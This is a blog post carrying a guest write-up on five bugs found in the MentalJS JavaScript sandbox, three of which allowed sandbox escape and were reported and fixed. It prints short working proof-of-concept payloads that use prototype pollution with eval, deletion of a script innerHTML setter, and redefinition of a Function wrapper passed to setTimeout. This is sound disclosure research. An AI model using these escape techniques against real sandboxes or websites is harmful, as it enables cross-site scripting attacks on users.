How I smashed MentalJS

I'm proud to introduce a guest blogger on The Spanner. Jann Horn is a IT Security student in fourth semester and works for Cure53. He has found security issues in a bunch of open source projects, including OpenSSH(CVE-2014-2532), Chromium(CVE-2014-1726,CVE-2015-1247), Android(CVE-2014-7911) and Angular. He's also a member of the university CTF team FluxFingers. Jann has been testing my MentalJS project and found some really cool flaws...

MentalJS vuln writeup

This is a writeup about three somewhat similar ways to escape the MentalJS sandbox (and two bugs that didn't lead to a sandbox escape) that I reported to Gareth Heyes 2015-04-28 and 2015-04-29. All these bugs are fixed now.

Wrecking the parser

MentalJS is relatively permissive: Among other things, you are allowed to access most constructors and prototypes, including Object.prototype.This permits setting default properties on any object - but MentalJS restricts that to properties that are either numeric or end with a dollar sign.

MentalJS parses and rewrites attacker-supplied JavaScript code. While parsing it, MentalJS uses a big two-dimensional object that contains the allowed state transitions of the parser:

rules = {
  0 : {//ArrayComma
      0 : 1, //ArrayComma
      1 : 1, //ArrayOpen
[...]
      135 : 1, //Undefined
      137 : 1, //VarIdentifier
      138 : 1, //VarComma
      139 : 1, //Void
      141 : 1, //WithStatementParenOpen
      146 : 1 //WhileStatementParenOpen
 
  },
  1 : {//ArrayOpen
      0 : 1, //ArrayComma
      1 : 1, //ArrayOpen
[...]
      152 : 1, //ZeroRightShift
      153 : 1 //ZeroRightShiftAssignment
 
  },
  2 : {//ArrayClose
      0 : 1, //ArrayComma
      1 : 1, //ArrayOpen
[...]
      135 : 1, //Undefined
      137 : 1 //VarIdentifier
 
  },
[...]
}

Note how allowed state transitions have value 1 while forbidden state transitions are implicitly undefined.

So this is the first part of the attack: Spam numeric properties of Object.prototype with 1, which basically fills the whole table of allowed state transitions with 1, altering the parser's behavior:

for (var i=0; i<1000; i++) Object.prototype[i]=1

Now, in subsequent runs, the parser parses JavaScript code weirdly: It will permit some things that JavaScript doesn't normally allow, and it will misinterpret valid code, too. Have a look at the following code:

3 / alert(location) / 1

  Clearly, this code just performs two divisions and an `alert()`, and that is what MentalJS
  normally parses it as, too. This is the code after sanitizing:

3 / alert$(location$) / 1

However, after the parser-wrecking attack, it treats the two slashes and the code between them as a regex, which means that it won't sanitize that code - this is the sanitized output for the same input string after the parser-wrecking attack has been performed:

3/ alert(location) /1

To turn this into a full attack, some way is needed to invoke the parser again after untrusted code has already run. Luckily (for the attacker), MentalJS offers an eval() method that will sanitize and then execute code passed to it. So, this is the full bypass:

for (var i=0; i<1000; i++) Object.prototype[i]=1;eval('3 / alert(location) / 1')

XSS via <script> innerHTML

Here, I basically revived the second issue from this post. The original problem was that it was possible to set the innerHTML property of script elements through the setter for Element.prototype.innerHTML$, which sanitizes data for use in a normal HTML context, but not for use as JS code. The fix was to prevent using innerHTML$ on script tags by overriding the setter for script tags with HTMLScriptElement.prototype.innerHTML$, a no-op setter. This could be bypassed by deleting the innerHTML$ property from HTMLScriptElement.prototype, exposing the old setter for script elements again:

parent=document.getElementsByTagName('body')[0];
x=document.createElement('script');
delete x.constructor.prototype.innerHTML;
x.innerHTML='alert(location)';
parent.appendChild(x);

Code execution through setTimeout

MentalJS allows sandboxed code to use setTimeout() through the wrapper function setTimeout$(). This wrapper used window.Function$() to sanitize untrusted code passed as a string, then invoked setTimeout() with the resulting function:

function(func, time) {
    time = +time;
    if ( typeof func !== 'function') {
        func = Function$(func);
    }
    var id = +setTimeout(func, time);
    setTimeoutIDS[id] = true;
    return id;
};

The basic idea behind this attack is to replace window.Function$ with a function that simply returns its argument, thereby allowing an attacker to pass arbitrary strings to setTimeout(). This is the code that defines window.Function$:

Object.defineProperties(window, {
[...]
    'Function$' : {
        configurable : true,
        writable : false,
        value : FUNCTION
    },
[...]
});

As you can see, the property is defined as non-writable, meaning it's not possible to simply overwrite it.However, it was configurable, so it was possible to delete the property and subsequently recreate it with a different value:

delete window.Function;
window.Function = function(x){ return x; };
setTimeout('alert(location)', 0);

Invalid unicode escapes in identifiers

MentalJS validated unicode escapes in identifiers by prefixing the four characters following \u with '0x' and casting the result to a number:

hex = +('0x' + chr2 + chr3 + chr4 + chr5);
if (hex === hex && hex !== hex) {
    error("Invalid unicode escape. Expected valid hex sequence.");
}
[ more checks on `hex` ]

While ToNumber() is relatively strict compared to parseInt(), it permits trailing whitespace (WhiteSpace and LineTerminator) behind numbers. This caused MentalJS to parse the string foo\u041 bar as a single identifier, causing it to execute the rewritten code foo\u041 bar$. However, it seems that at least the JS engines of Chrome, Firefox and IE are strict about unicode escapes and do not permit them to be too short, so I think that this wasn't exploitable.

Normalization of numbers

MentalJS normalizes numbers a bit and does not permit octal number literals: For example, if you enter 00001 as code, it will be normalized to 1, and 00000 will be normalized to 0.

As you can see, a literal that's all zeroes is a bit special: Removing all the zeroes would remove the literal from the code and alter its meaning. This was the code snippet responsible for fixing up this edgecase:

if (states.zeroFirst && !states.output.length) {
    states.output = '0';
}

This code replaces the output with a zero if it would otherwise have been empty. However, this doesn't work properly if the output is not empty because the number contains an 'e': After sanitizing, 0e+1 becomes e+1, which MentalJS intends to be a number but the browser will parse as an addition of e and 1. However, I was unable to figure out a way to exploit this.